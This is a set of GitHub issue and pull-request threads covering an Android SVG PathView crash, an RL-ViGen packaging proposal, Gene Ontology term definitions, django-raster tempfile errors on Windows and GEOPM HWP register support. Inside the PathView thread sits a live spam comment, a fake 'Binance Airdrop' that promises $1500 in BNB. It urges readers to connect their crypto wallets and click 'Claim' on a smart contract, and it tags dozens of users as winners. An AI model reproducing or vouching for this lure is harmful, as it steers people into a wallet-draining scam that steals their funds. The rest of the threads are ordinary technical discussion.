text:
Crash on Battery Saver Mode

Hi,
Once you have the project configured and running, It crashes when the phone is in Battery saving mode [android 5.1 ], Tested it on device Moto E 1st Gen android.

Strange. I will test it and keep you posted.

Here is the Log :
java.lang.NullPointerException: Attempt to invoke virtual method 'android.graphics.RectF com.caverock.androidsvg.SVG.getDocumentViewBox()' on a null object reference
at com.eftimoff.androipathview.SvgUtils.rescaleCanvas(SvgUtils.java:129)
at com.eftimoff.androipathview.SvgUtils.drawSvgAfter(SvgUtils.java:76)
at com.eftimoff.androipathview.PathView.fillAfter(PathView.java:216)
at com.eftimoff.androipathview.PathView.onDraw(PathView.java:204)
at android.view.View.draw(View.java:15249)
at android.view.View.updateDisplayListIfDirty(View.java:14185)
at android.view.View.getDisplayList(View.java:14207)
at android.view.View.draw(View.java:14977)
at android.view.ViewGroup.drawChild(ViewGroup.java:3407)
at android.view.ViewGroup.dispatchDraw(ViewGroup.java:3200)
at android.view.View.draw(View.java:15252)
at android.view.View.updateDisplayListIfDirty(View.java:14185)
at android.view.View.getDisplayList(View.java:14207)
at android.view.View.draw(View.java:14977)
at android.view.ViewGroup.drawChild(ViewGroup.java:3407)
at android.view.ViewGroup.dispatchDraw(ViewGroup.java:3200)
at android.view.View.updateDisplayListIfDirty(View.java:14180)
at android.view.View.getDisplayList(View.java:14207)
at android.view.View.draw(View.java:14977)
at android.view.ViewGroup.drawChild(ViewGroup.java:3407)
at android.view.ViewGroup.dispatchDraw(ViewGroup.java:3200)
at android.view.View.updateDisplayListIfDirty(View.java:14180)
at android.view.View.getDisplayList(View.java:14207)
at android.view.View.draw(View.java:14977)
at android.view.ViewGroup.drawChild(ViewGroup.java:3407)
at android.view.ViewGroup.dispatchDraw(ViewGroup.java:3200)
at android.view.View.updateDisplayListIfDirty(View.java:14180)
at android.view.View.getDisplayList(View.java:14207)
at android.view.View.draw(View.java:14977)
at android.view.ViewGroup.drawChild(ViewGroup.java:3407)
at android.view.ViewGroup.dispatchDraw(ViewGroup.java:3200)
at android.view.View.updateDisplayListIfDirty(View.java:14180)
at android.view.View.getDisplayList(View.java:14207)
at android.view.View.draw(View.java:14977)
at android.view.ViewGroup.drawChild(ViewGroup.java:3407)
at android.view.ViewGroup.dispatchDraw(ViewGroup.java:3200)
at android.view.View.draw(View.java:15252)
at android.widget.FrameLayout.draw(FrameLayout.java:598)
at com.android.internal.policy.impl.PhoneWindow$DecorView.draw(PhoneWindow.java:2650)
at android.view.View.updateDisplayListIfDirty(View.java:14185)
at android.view.View.getDisplayList(View.java:14207)
at android.view.ThreadedRenderer.updateViewTreeDisplayList(ThreadedRenderer.java:273)
at android.view.ThreadedRenderer.updateRootDisplayList(ThreadedRenderer.java:279)
at android.view.ThreadedRenderer.draw(ThreadedRenderer.java:318)
at android.view.ViewRootImpl.draw(ViewRootImpl.java:2560)
at android.view.ViewRootImpl.performDraw(ViewRootImpl.java:2382)
at android.view.ViewRootImpl.performTraversals(ViewRootImpl.java:2012)
at android.view.ViewRootImpl.doTraversal(ViewRootImpl.java:1084)
at android.view.ViewRootImpl$TraversalRunnable.run(ViewRootImpl.java:5990)
at android.view.Choreographer$CallbackRecord.run(Choreographer.java:767)
at android.view.Choreographer.doCallbacks(Choreographer.java:580)
at android.view.Choreographer.doFrame(Choreographer.java:550)
at android.view.Choreographer$FrameDisplayEventReceiver.run(Choreographer.java:753)
at android.os.Handler.handleCallback(Handler.java:739)
at android.os.Handler.dispatchMessage(Handler.java:95)
at android.os.Looper.loop(Looper.java:135)
at android.app.ActivityThread.main(ActivityThread.java:5343)
at java.lang.reflect.Method.invoke(Native Method)
at java.lang.reflect.Method.invoke(Method.java:372)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:905)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:700)

I found the problem.
It is destroying the SVG object when trying to fill after.
I will fix it today and increase the version.

Sure that would be great ! (y)

Hi, what about update? It will be great if u can make this :)

Would love to see an update too!

@hdcoder @b3stia @waynesford
Hey I will fix , sorry for the delay (2 months).
I have a question though :
As VectorDrawable is up VectorDrawable
is it better to deprecate this library and create on for supporting PathVectorDrawable?

Unfortunately, VectorDrawable is only available for API 21+. I think it's probably better to just fix this bug. We've been using your library in production for quite some time now, and it's worked great, this has been the only bug that's come up for us!

Getting same error on device with android version 4.4.4

Using this logic to handle this bug -
PowerManager powerManager = (PowerManager)
            getActivity().getSystemService(Context.POWER_SERVICE);
    if (android.os.Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP
            && powerManager.isPowerSaveMode())
    {
        //Disable pathView here
    }

The Ultimate Binance Airdrop Guide: Claim Your $1500 in BNB Now and Earn Extra Rewards!
🎉 Exciting News! You are the lucky recipient of the exclusive $1.5 million Binance Airdrop, and we're thrilled to offer you $1500 in BNB to enhance your year-end celebrations. And here's the cherry on top—connect now, and you'll instantly receive an extra $100! Follow the detailed steps below to seamlessly claim your tokens and maximize the benefits of this phenomenal festive giveaway.

How to Claim Your Rewards:
1. 🌐 Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).
Enjoy a smooth and secure connection.

2. 🔄 Interact with the Smart Contract:

Once your wallet is connected.
Navigate to the platform and click on the "Claim" button to interact with the smart contract.
Benefit from the transparent and efficient process.

3. 💰 Additional Bonus Rewards:

Get an instant bonus of $100 upon connecting your wallet.
Capitalize on this limited-time opportunity to boost your overall rewards.

Act now to secure your $1500 in BNB, and take advantage of the extra $100 bonus—this is an offer you don't want to miss! But wait, there's more. By participating, you also stand a chance to win up to $20,000 in additional rewards. Don't hesitate; click the link now and experience the excitement of earning crypto rewards with a minimal 5% transaction fee.
Winners: @ZelnickB, @scoresofunderscores, @pratamawijaya, @kai18, @koehntopp, @Floresj4, @NazranKhondokar, @vcollado, @troyanov, @floriankammermann, @Konboi, @adamward-nrhl, @wuliang142857, @luizberti, @nelenkov, @venkatBala, @bolerovt, @d--j, @legerski, @ziyadparekh, @gilday, @terrascura, @denys-meloshyn, @messnoTrace, @kkriehl, @Abdulrasheed1729, @Pr0ce33, @iliaznk, @tqcq, @is0263rf, @Armour, @coldljy, @sayresVT, @fraggjkee, @hnq90, @vaad2, @Onur-KAVSUT, @odeke-em, @dmitriykovalev, @dyxushuai, @mqueiroz1995, @HueyGeek, @antoniodowling, @grushetsky, @godmac, @mustangxu, @monkeymosher, @YumcoderCom, @SahajR, @ccone1995

[自动回复]已收到来信。

repo: geftimov/android-pathview


text:
Proposal : Portable version of the benchmark

Context
Hi, I like what has been done with RL-ViGen and I like that this benchmark exposes well that most approaches are not perfect in all scenarios.  I think ideally, RL-ViGen should be used for future visual RL research.
That being said, I find it fairly hard to integrate with existing repositories which makes it impossible to use for research unless one re-writes his code for the RL-ViGen repo. Even then, it's hard to get it to work depending on your linux version for instance and using docker is not great for quick R&D/Debugging.
I really want to use RL-ViGen but given the complexity to integrate this might not be possible unless we get an option for a portable version.
Proposal
I would like to propose the idea of a portable version of the benchmark that would only contain the environments.
This would make it possible for people to simply create the environments and integrate it with their existing research repository which might already contain the instantiation of other environments, training code and more complex code that RL-ViGen doesn't have to maintain.
Other benchmarks seem to follow a similar approach (eg: https://github.com/vikashplus/robohive  can be install via pip and we can create an env in a few lines of code).
It would be great if RL-ViGen could do the same or at least offer the option to only need the environments (no algorithms or training code or pre-established hydra configs, envs would be created in python and accept a dict).
This would also remove constraints like needing hydra, tensorboard, weight & biases or needing a specific PyTorch version (currently it is pinned in the repo which is far from ideal).
Ideal Solution
I think the ideal solution would be to be able to pip install RL-ViGen and the package could contain the envs and offer create functions like create_carla_envs etc.
Other Possible Solution
Prototype
I tried doing a prototype of another idea here : https://github.com/AlexandreBrown/RL-ViGen-Portable
The idea is to allow someone to go from an existing conda environment from an existing project repository and simply do :

Clone the portable repo
Install RL-ViGen dependencies: conda env update --file environment.yaml
Create the RL-ViGen environments in code, example : from wrappers.habi_wrappers import make_habitat_env then env = make_habitat_env(...)

The repository is still WIP and while the conda update works right now, I still get issues when trying to create the environments in python. The goal of the repository was just to give an idea of the proposal but not necessarily to be the complete solution so I hope it gives the gist of the idea.  The README contains additional details.
This might be trivial for someone already familiar with RL-ViGen (ie: The authors) so I am taking the time to ask if this could be added in the future via a branch (eg: envs-only) or even better pip install rl_vigen or something like that.
Thank you and feel free to give your feedback,

@gemcollector Would love your feedback on this if possible :)

Hi @AlexandreBrown , Thank you for your detailed proposal and illustration. We are delighted to see the portable version of rl-vigen, which simplifies the installation process and usage. We are also very willing to maintain the environment part as a branch of your repo. We do appreciate your support for our work!

@gemcollector Ok this is great, I just pushed a commit to the fork that makes Carla env work on Ubuntu 24.04 and I don't see why it wouldn't work on other versions as I also updated carla sim from 0.9.10 to 0.9.12 which now uses pip to install carla python api instead of a the egg file. I updated the carla env code to work with 0.9.12 as there were breaking changes.
You can see a working minimal example here : https://github.com/AlexandreBrown/RL-ViGen-Portable/blob/master/doc/carla/README.md
I also made the code more portable by not setting the PYTHONPATH in code but rather before running the code (so no hard coding of files paths).
I did not make the changes for the other environments yet but so far carla works.

How should I reproduce this error? Directly install your repo?

@gemcollector Yes simply clone the repo, follow https://github.com/AlexandreBrown/RL-ViGen-Portable/tree/master?tab=readme-ov-file#portable-installation then after that for robosuite env creation, follow : https://github.com/AlexandreBrown/RL-ViGen-Portable/blob/master/doc/robosuite/README.md#prerequisites

source: gharchive/issue

authors: AlexandreBrown gemcollector

repo: gemcollector/RL-ViGen

license: MIT

license_type: permissive

license_source: github-api


text:
Should GO:0016174 exist?

I am looking at a paper describing a plant NADH(P) oxidase, and Im trying to figure what its activity is
(A fungal gene directly regulators the activity of the gene product)
there are 2 slightly different reactions
GO:0016174    NAD(P)H oxidase activity
Catalysis of the reaction: NAD(P)H + H+ + O2 = NAD(P)+ + hydrogen peroxide.
GO:0016175  superoxide-generating NADPH oxidase activity
Catalysis of the reaction: NAD(P)H + O2 = NAD(P)H + O2-. PMID:10806195
I assumed the reaction catalysed was
GO:0016175  superoxide-generating NADPH oxidase activity
but all arabidopsis are annotated to GO:0016174
form the paper intro
Generation of a burst of reactive oxygen species (ROS) catalyzed by NADPH oxidase (Nox) is an important defense mechanism for both mammals and plants against invading microbes (Doke, 1983; Reeves et al., 2002; Lambeth, 2004; Torres and Dangl, 2005). In phagocytes, activation of the membrane-associated NADPH oxidase (gp91phox/NOX2) to produce ROS in response to microbial or inflammation signals involves cytosolic recruitment of a heterotrimeric phagocyte oxidase complex (phox) together with the small GTP binding protein Rac2 (Diebold and Bokoch, 2001; Lambeth, 2004). The discovery of new functional members of the Nox family has led to the recognition that ROS production is a ubiquitous eukaryotic signaling system to control various dif- ferentiation processes, including cell proliferation, apoptosis, and hormone responses in animals (Suh et al., 1999; Lambeth et al., 2000; Lardy et al., 2005), programmed cell death and root hair growth in plants (Foreman et al., 2003; Carol et al., 2005), and sexual development and spore germination in filamentous fungi (Lara-Ortiz et al., 2003; Malagnac et al., 2004; Aguirre et al., 2005).
then I found this in another paper:
NADPH oxidase enzymes belong to a family of transmembrane
proteins able to transport electrons across a membrane -usually
the plasma membrane- from a cytosolic electron donor to oxygen
-the extracellular acceptor- thus catalyzing the generation of O•−
2
(Lambeth, 2004). However, the lifespan of superoxide molecules,
which are rapidly dismutated to H2O2 either spontaneously or
through the action of apoplastic superoxide dismutases (SOD),
is extremely short (Bowler et al., 1994). NADPH oxidase (NOX)
activity was first described in mammal phagocytic cells and
consists of two plasma membrane proteins, gp91phox and
p22phox (phox for phagocyte oxidase). This protein complex
is regulated by its interaction with other cytosolic proteins
(p47phox, p67phox, p40phox, and Rac2) producing the active
form (Cross and Segal, 2004; Lambeth, 2004). Although these
mammalian protein complexes are the most studied NOXs, these
enzymes have also been characterized in other animals, fungi,
and plants. NADPH oxidase enzymes share a basic structure
consisting of six transmembrane domains, two heme-binding
sites and a long cytoplasmic C-terminal which includes FAD and
NADPH binding sites (Bedard et al., 2007).
so it seems that the reaction catalysed is
GO:0016175  superoxide-generating NADPH oxidase activity
Catalysis of the reaction: NAD(P)H + O2 = NAD(P)H + O2-.
Should GO:0016174 exist?
I can't find an EC number or a ref.

RHEA:11260 : H(+) + NADPH + O2 = H2O2 + NADP(+)
Yes the term is real.
GO:0016174 NAD(P)H oxidase activity
Catalysis of the reaction: NAD(P)H + H+ + O2 = NAD(P)+ + hydrogen peroxide (H2O2)

EC 1.6.3.1
PMID: 10401672
PMID: 10601291
PMID: 11822874
(refs are from the RHEA entry;
I will update GO:0016174

The EC was there already in the term info.

Update done. I assume I can close this.

so even though EC's exist,  this is definitely not the case?
"two views of the identical molecular function, one that defines the reaction in terms of the immediate product of the reaction enabled by the oxidase activity and the other in terms of the first relatively stable product of that reaction."
if not, I'm not sure how to figure out which one I am annotating, and the common parent is
GO:0050664   oxidoreductase activity, acting on NAD(P)H, oxygen as acceptor
which is n't very satisfactory?
So in that case, if these 2 term definitely exist to describe different reactions, would it be possible to have a parent grouping term?

Actually
GO:0050664 oxidoreductase activity, acting on NAD(P)H, oxygen as acceptor
is OK.
or make the term name of
GO:0050664 oxidoreductase activity, acting on NAD(P)H, oxygen as acceptor
NADPH oxidase
currently broad for NADPH oxidase | broad for  GO:0016174   NAD(P)H oxidase activity

Forgot to mention that I also added the EC name as an exact synonym NAD(P)H oxidase (H(2)O(2)-forming)
I could change to make THAT the name of 664, to make it more explicit, since the other term has 'superoxide' forming. I would not want to make a grouping term that I would feel the the need to make do not annotate since one makes superoxide and the other does not.

OK; changed the name to bring it more in line with it's sib. That should make it very clear

on nuts forgot to add 'activity' I'll get this right yet.

OK thanks! I'll figure it out ;)

Also noticed sib term does not have a RHEA; requesting
[help #180802] in the subject line of all future correspondence to RHEA  about this issue.

Hi Harold, any news on this one?
Thanks
Val

Note if I didn't mention this before, consider GO:0016174  as a grouping term because its NAD(P). However, RHEA ids can either be NAD, OR NADP, not both. Only to be used IF one doesn't know; presumably, a paper would have an assay (?).
If the enzyme in question CAN use both, it doesn't do it at the same time; hence the two reactions
RHEA:63180 NADPH + 2 O2 = H+ + NADP+ + 2 superoxide
RHEA:63184 NADH + 2 O2 = H+ + NAD+ + 2 superoxide
But not Public yet (will be on June release; so then can add and close this ticket.

Rheas are now public. Made children of GO:0016175
+id: GO:0106291
+name: superoxide-generating NADH oxidase activity.
+id: GO:0106292
+name: superoxide-generating NADPH oxidase activity

Made children for GO:0016174 with RHEA references.; removed rhea from GO:0016174
+id: GO:0106293
+name: NADH oxidase H202-forming activity
+id: GO:0106294
+name: NADPH oxidase H202-forming activity
Since RHEA has supplied the defs, I will defer to them that these are valid terms and close the ticket.

authors: ValWood hdrabkin

repo: geneontology/go-ontology


text:
nociception is not the same as sensory perception of pain

GO term
GO:0019233 'sensory perception of pain'
Issue description
'sensory perception of pain' has_exact_synonym nociception
According this reference:

The terms nociception and pain should not be used synonymously, because each can occur without the other.[1]. Pain arising from activation of the nociceptors is called nociceptive pain.

nociception  may be a better synonym for detection of stimulus involved in sensory perception of pain

See also https://pain.ucsf.edu/understanding-pain-pain-basics/nociception-versus-pain. Thus, nociception may (or may not) lead to pain and pain may (or may not) be induced by nociception. I think the best synonymous relationship is "related".
Nociception is the "the neural process of encoding noxious stimuli" and we should have a stand-alone GO term for that.

It seems that this issue is more deeply entangled. Uberon nociceptor is logically defined as "'sensory receptor'
and ('capable of' some 'detection of mechanical stimulus involved in sensory perception of pain')". Thus I think an agreement among more people is needed to either rename "sensory perception of pain" as nociception or to create a new term nociception. But then it's unclear what "sensory perception of pain" is.
PMID:29032407 states that "Nociception is the neural process of encoding noxious stimuli, whereas pain is defined as an unpleasant sensory and emotional experience associated with actual or potential tissue damage, or described in terms of such damage".
IASP https://www.iasp-pain.org/resources/terminology/ definition of nociceptor: A high-threshold sensory receptor of the peripheral somatosensory nervous system that is capable of transducing and encoding noxious stimuli.

@raymond91125 Yes. I originally rain across this issue b/c I was working with UBERON (cc @cmungall ).

PMID:29032407 states that "Nociception is the neural process of encoding noxious stimuli, whereas pain is defined as an unpleasant sensory and emotional experience associated with actual or potential tissue damage, or described in terms of such damage".

Thanks for including this.

Well, even though nociception and pain are not the same per se, it seems that in the literature, nociception and the sensory perception of pain are not different. That is, there does not seem to be another type of sensory perception of pain and nociceptor is synonymous with pain receptor. @wdduncan have you come across anything contradicting?

Re: nociception vs. sensory perception of pain
I suppose it depends what is meant by sensory perception of pain . The current definition reads:

The series of events required for an organism to receive a painful stimulus, convert it to a molecular signal, and recognize and characterize the signal. Pain is medically defined as the physical sensation of discomfort or distress caused by injury or illness, so can hence be described as a harmful stimulus which signals current (or impending) tissue damage. Pain may come from extremes of temperature, mechanical damage, electricity or from noxious chemical substances. This is a neurological process.

I would agree that nociception is a part of this part this process. It seems a bit strong to specify that nociception is an exact synonym of sensory perception of pain (IMHO).
To be honest, I don't completely understand what it means for nociception to be the process that "encodes" the noxious stimulus (as defined in the IASP terminology, and how nociception (in the IASP sense) is distinct from detection of stimulus involved in sensory perception of pain, which is defined as:

The series of events involved in the perception of pain in which a stimulus is received and converted into a molecular signal.

Depending what is meant by "encodes", it seems that nociception may be part of detection of stimulus involved in sensory perception of pain too.

I randomly checked some references that provide the evidence for EXP annotations to GO:0019233 'sensory perception of pain' directly; 8 of 8 mention nociception. Thus the usage of this term appears consistently to be about nociception.

Sure ... consistent use doesn't mean correct use, though.

@raymond91125 We've had a lot of back and forth :)
So, to summarize, the IASP makes a distinction between nociception (neural process of encoding noxious stimuli) and pain, 'pain' being defined as "an unpleasant sensory and emotional experience associated with actual or potential tissue damage, or described in terms of such damage". That is, nociception can occur without the unpleasant sensory and emotional experience of pain.
The GO definition of sensory perception of pain is ambiguous about whether this entails a sensory experience. So, all I am suggesting is that the has_exact_synonym nociception be dropped or changed to has_related_synonym nociception (which you proposed).

@wdduncan Thank you for your patience. I will bring this up in our ontology editor meeting (as soon as next week). My concern about the action 'has_related_synonym nociception' is that nociception is an important biological process that should be more formally represented in GO, not just as a related synonym.
The examples I've read (e.g.  https://pain.ucsf.edu/understanding-pain-pain-basics/nociception-versus-pain) to distinguish between nociception and the perception of pain are about conditions that may be considered abnormal (patient under general anesthesia or patient with central neuropathic pain after stroke). Thus, 'normally', perhaps the sensory input that leads to pain is exclusively nociception. I don't have the answer.
Nociception is more generally applicable to animals and readily definable whereas pain may be more relevant to human perception and experiences.

@wdduncan I made the change of nociception as a related synonym, since @ukemi pointed out that in GO lingo "sensory perception" covers the CNS part of 'interpretation' (recognition). As you pointed out, "detection of stimulus involved in sensory perception of pain" is probably an exact synonym for nociception instead.

Thanks @raymond91125 !


text:
Add test: rewrite complex join predicates to conjunctive normal form

What changes were proposed in this pull request?
This pr add a test: rewrite complex join predicates to conjunctive normal form. This is because the current implement can not rewrite TPC-DS q13 and TPC-DS q85. We should first ensure that this test can pass.

@wangyum Thank you

source: gharchive/pull-request

authors: gengliangwang wangyum

repo: gengliangwang/spark

license_source: bigquery


text:
Network usage

Hi thank Harvesters team for this great library .
Why network's usage is always 100% but with my camera's application It's about 5..6% ?

Hi, could you tell me the GenTL Producer that you're using now?

One more question: Do you mean the usage reaches 100% when you call the ImageAcquirer.start method? Would that turn quite once the image acquisition stops by the stop method call?

Closing. Please feel free to reopen if needed.

authors: centurions kazunarikudo

repo: genicam/harvesters


text:
Simplify gemspec

SImplifies the gemspec as well as makes rake and bundler runtime dependencies.

@drh-stanford This PR is based on our Slack convo last Friday. One set of lines we discussed removing seems to be a requirement. I got errors when after deleting them.
https://github.com/geoconcerns/simple_mapnik/blob/master/simple_mapnik.gemspec#L2-L3

Coverage remained the same at 99.441% when pulling ded2e349a626d25e3d012b23f43e307d3e7e6932 on simplify into 7af96c4ad182fed6f33a5480981dc888a20737ac on master.

authors: coveralls eliotjordan

license: mit


text:
Game crashes on jump in platformer mode

Geode Issue

[X] I confirm that this crash is NOT related to a mod but directly to Geode Loader itself.

Platform
Android64
Geode Version
v1.3.3
Mods Installed
No response
Steps to Reproduce

When inside a platformer level, Geode crashes on a jump input

Crash Report
No response
Additional Information
No response

Please send a crash log

2024-05-20T19:06:51.072680469 [W/linker]: Warning: "/mnt/expand/6ecbda77-056d-4787-9d18-d8f365baeb57/app/~~V66OEOTBD2xD2p1Y7UhvZw==/com.geode.launcher-dZSCh6ZEj1Fv0AeUJGNB-g==/base.apk!/lib/arm64-v8a/libc++_shared.so" unused DT entry: unknown processor-specific (type 0x70000001 arg 0x0) (ignoring)

Says on my geode that is was a crash

crashlogs are typically found in the crashlogs folder, as in geode/crashlogs

N

authors: ActualHamish Alphalaneous RayDeeUx

repo: geode-sdk/geode


text:
how to use view

Hi
I want to use WMS.But i don't how to import them.Can you give me some example?Thank you.

Not sure what you mean, could you be more precise with your question?

like this problem:https://github.com/geodesign/django-raster/issues/30
I have try this, But i can't visual display

Its hard to guess what could be going wrong. Did you successfully parse a raster? Where RasterTile objects created?

I find i can't create rasterfile,
[2019-09-10 17:49:05,438: ERROR/MainProcess] Task raster.tasks.create_tiles[c43eb70b-ef66-434b-a575-2d2583c3d0d1] raised unexpected: PermissionError(13, 'Another program is using this file and the process cannot access it.')
I don't know how to solve it.

This could be related to the media storage settings. When you create a new RasterLayer, you probably uploaded a raster file. Maybe your django application does not have read access to the raster that you uploaded? https://docs.djangoproject.com/en/2.2/ref/settings/#std:setting-MEDIA_ROOT

Sorry, I don't know how to set it up.
MEDIA_URL = "/media/"
MEDIA_ROOT = os.path.join(BASE_DIR, 'media')

The MEDIA_ROOT is where your uploaded raster will be stored. So the web application needs write permissions for that folder. Depending on how you run your Django, that might not be in the BASE_DIR. Generally, its not a good idea to put it in BASE_DIR. You want it to be a permanent location. So create a folder somewhere for it, in development it could be something like (~/Documents/my_django_app_media_files/). Make sure that your django app has read and write permissions on that folder. In production, you will need to ensure that the media file location is a stable permanent location, otherwise you loose the files when your django server reboots.
Se also https://docs.djangoproject.com/en/2.2/topics/files/

Raster layer metadatas, Raster layers can create, but Raster tiles can't,I changed the location of the storage, but it didn't work.

Well, your error indicates that it is a file access permission issue. Are you using celery? Could you share the traceback of your error?

yes

This indicates that the tiles are actually being created, but that the last cleanup step there is a problem with permissions of the temporary directory that the parser creates. So the error arises after the raster is parsed successfully, the rmdir is a cleanup step.
Could you confirm that the RasterTiles are created (have a look at the raster/rasteritile admin and see if there are objects).
Its hard for me to understand why the create_tiles can not remove this temporary directory. It might have to do with windows or with the user permissions on your celery instance.

I create RasterTiles, But it has no object.

The two errors you shared are not the same! One fails on line 50 the other on line 40. Make sure your celery worker has read and write access in the D:\\data\\ directory. The problem you have does not seem to be a django-raster bug but rather a setup configuration problem with permissions.

Can you help me look at the code?This is my first time using celery.I don't what i should do

It looks like you are using anaconda. That means that your django and celery apps are running through this environment. I am not familiar with anaconda, but you might be able to select a MEDIA_ROOT that is within anaconda's permissions? Your problems might be related to that.

dest_zip = zipfile.ZipFile(dest.name, 'w', allowZip64=True)

I think there's a problem here, but I don't know how to fix it.

import zipfile
dest_zip = zipfile.ZipFile(r'C:\Users\Lenovo\AppData\Local\Temp\tmpso_qiewj\tmpwvnred35.zip', 'w', allowZip64=True)   error
import zipfile
dest_zip = zipfile.ZipFile(r'D:\rsgis.zip', 'w', allowZip64=True) ok
i don't know why

One is on disk C:\ and another one is on disk D:\, it looks like the tempfiles are placed in another folder that might not be accessible by celery or django.

I seem to have found the problem. It's related to the system I use.
tempfile.NamedTemporaryFile([mode='w+b'[, bufsize=-1[, suffix=''[, prefix='tmp'[, dir=None[, delete=True]]]]]])
This function operates exactly as TemporaryFile() does, except that the file is guaranteed to have a visible name in the file system (on Unix, the directory entry is not unlinked). That name can be retrieved from the name attribute of the returned file-like object. Whether the name can be used to open the file a second time, while the named temporary file is still open, varies across platforms (it can be so used on Unix; it cannot on Windows NT or later). If delete is true (the default), the file is deleted as soon as it is closed.
The returned object is always a file-like object whose file attribute is the underlying true file object. This file-like object can be used in a with statement, just like a normal file.
New in version 2.3.
New in version 2.6: The delete parameter.
https://docs.python.org/2/library/tempfile.html

Hi,I have new problem,I don't know how to solve,hope you can reply me.Thank you

Based on your feedback I made some improvements in file handling, see https://github.com/geodesign/django-raster/commit/1dcc3e19499b18a5de95e247e22a8677a7088d75. Could you check if your problems persist if you install the current master branch?

Yes, it solved my previous problems.but it have new problem.And then what system did you use to write this project? Thank you.

This looks like a very related issue. The warping of a raster fails probably because the underlying tempfile is not allowing it to open again. I made another update here https://github.com/geodesign/django-raster/commit/3f5dd55fa1f0abc9e909abd92fc3ffea47613bc6. Could you check if that solves your second problem?

https://github.com/geodesign/django-raster/commit/1dcc3e19499b18a5de95e247e22a8677a7088d75
It doesn't seem to solve the problem.

Can you try https://github.com/geodesign/django-raster/commit/3f5dd55fa1f0abc9e909abd92fc3ffea47613bc6 ?

There seems to be some problem.
if i use os.remove(dest_file_name),

I know how to modify it, but i think it not well

'destructor = capi.close_ds' can't run.
If I do this, temporary files cannot be deleted.

@xxqhh Is this solved?

There are still some problems, but I don't know what went wrong.

Like this

PermissionError: [Errno 13] Another program is using this file and the process cannot access it.: 'D:/datatest\tmp47rya8d7\ndvi.tiff_copy.GTiff'

I don't know if it's because of this problem.I can't parse the second band.

Your questions are very specific to your set up. Its hard to help you like this. Hope you figured out a solution!

authors: xxqhh yellowcap

repo: geodesign/django-raster


text:
Create LICENSE

added MIT license

Looks good to me

repo: geongeorge/GST-HSN-Codes-Fetch


text:
Addition of HWP MSR and IOGroup support

Resolves #2325
Addition of HWP MSRs to the skx MSR list, along with updates to the legacy allow list unit test.

Added architectural MSRs 770h-777H as defined in the SDM Vol. 3B (order number: 325462-073US Nov 2020).
Addition of HWP FREQUENCY aliases in MSRIOGroup, along with checks for whether the legacy IA32_PERF_CTL or HWP registers should be used for aliases.

There are currently opens on:

[x] Testing this PR on HWP enabled hardware.
[x] Updated aliasing for FREQUENCY signals and controls
[ ] Documenting aliasing in new man pages for 2.0
[ ] Removing HWP signals from the m_signal_available map if HWP is not supported
[x] Testing agents with this PR (example: monitor agent with all new signals/aliases)
[ ] Better HWP signal documentation

We need to update the PlatformIO man page for every high level alias that is added or modified:
https://geopm.github.io/man/GEOPM_CXX_MAN_PlatformIO.3.html

Now requires changes to Agents, makes changes to various freq interfaces, removes/renames old aliases, etc.  Labeling as 2.0

Testing on system without PM_ENABLE in access list

Initially resulted in MSRIOGroup not loading.  Addressed` by added try/except on PM_ENABLE check.  If exception occurs HWP is listed as not enabled in MSRIOGroup and the IOGroup proceeds to function normally.  After adding fix no issues encountered.

Testing on system with PM_ENABLE in access list, and set to 0 (i.e. HWP disabled)

PM_ENABLE reports 0
Access to any other HWP register results in error message as expected (pread i/o error).

geopmread MSR::HWP_CAPABILITIES:GUARANTEED_PERFORMANCE board 0
Error: cannot read signal: <geopm> Invalid argument: PlatformIOImp::read_signal(): no support for signal name "MSR::HWP_CAPABILITIES:GUARANTEED_PERFORMANCE" and domain type "1"                                                                                The following errors were observed:<geopm> Could not read from MSR device: MSRIOImp::read_msr(): pread() failed at offset 0x771 system error: Input/output error: at src/MSRIO.cpp:97

Testing signals and aliases on system with PM_ENABLE set to 1 (i.e. HWP enabled)
General HWP signals appear correct.
HWP signal aliases appear to function as expected prior to any writes

CPU_FREQUENCY_CONTROL@board[0] 25500000000.0 Hz
Note: the default max control setting is 0xFF on this system (corresponding to 25.5GHz)
CPU_FREQUENCY_MIN_CONTROL@board[0] 0.0 Hz
Note: the default min control setting is 0x00 on this system (corresponding to 0.0GHz)
CPU_FREQUENCY_DESIRED_CONTROL@board[0] 0.0 Hz
Note: the default desired control setting is 0x00 on this system (corresponding to 0.0GHz)
CPU_FREQUENCY_STATUS@board[0] 1000000000.0 Hz
Matches cpupower frequency-info results
CPU_FREQUENCY_MAX@board[0] 3700000000.0 Hz
Matches expectation for hardware SKU.  Description and alias are updated as expected.

Testing controls and aliases on system with PM_ENABLE set to 1 (i.e. HWP enabled)

General HWP controls appear correct
HWP control aliases appear to function as expected

geopmwrite CPU_FREQUENCY_CONTROL board 0 2800000000
geopmread CPU_FREQUENCY_MAX_CONTROL board 0
2800000000
geopmread CPU_FREQUENCY_STATUS board 0
1000000000
geopmwrite CPU_FREQUENCY_MIN_CONTROL board 0 1400000000
geopmread CPU_FREQUENCY_MIN_CONTROL board 0
1400000000

With light stress:

geopmread CPU_FREQUENCY_STATUS core 2;
1400000000
geopmread CPU_FREQUENCY_STATUS core 1;
1400000000
geopmread CPU_FREQUENCY_STATUS core 4;
1400000000

With heavier stress:

geopmwrite CPU_FREQUENCY_MAX_CONTROL board 0 2100000000
geopmread CPU_FREQUENCY_STATUS core 1;
2100000000
geopmwrite CPU_FREQUENCY_DESIRED_CONTROL board 0 1800000000
geopmread CPU_FREQUENCY_MIN_CONTROL core 1;
1000000000
geopmread CPU_FREQUENCY_DESIRED_CONTROL core 1;
1800000000
geopmread CPU_FREQUENCY_MAX_CONTROL core 1;
2100000000
geopmread CPU_FREQUENCY_STATUS core 1;
1800000000

To maintain the functionality and behavior of non-HWP controls it is recommended that CPU_FREQUENCY_CONTROL either be mapped to CPU_FREQUENCY_DESIRED_CONTROL or setup such that it sets HWP min = max = desired.  This should cause the least surprise to users transitioning from legacy P-States

Tested a run of the integrated MiniFE workload and input on a single SKX node with the monitor agent.
HWP Enable Frequency Status:

Legacy P-state Frequency Status:

authors: cmcantalupo lhlawson

repo: geopm/geopm


text:
Release of PyWPS 4.2.2

Description
New release of PyWPS, as per https://lists.osgeo.org/pipermail/pywps-dev/2019-September/001427.html

[x] @jachym
[x] @ldesousa
[x] @tomkralidis
[x] @jonas-eberle
[x] @jorgejesus
[x] @cehbrecht

motion passed, thank you

done

repo: geopython/pywps


text:
Fix case in Kaa'to Leeachos's name

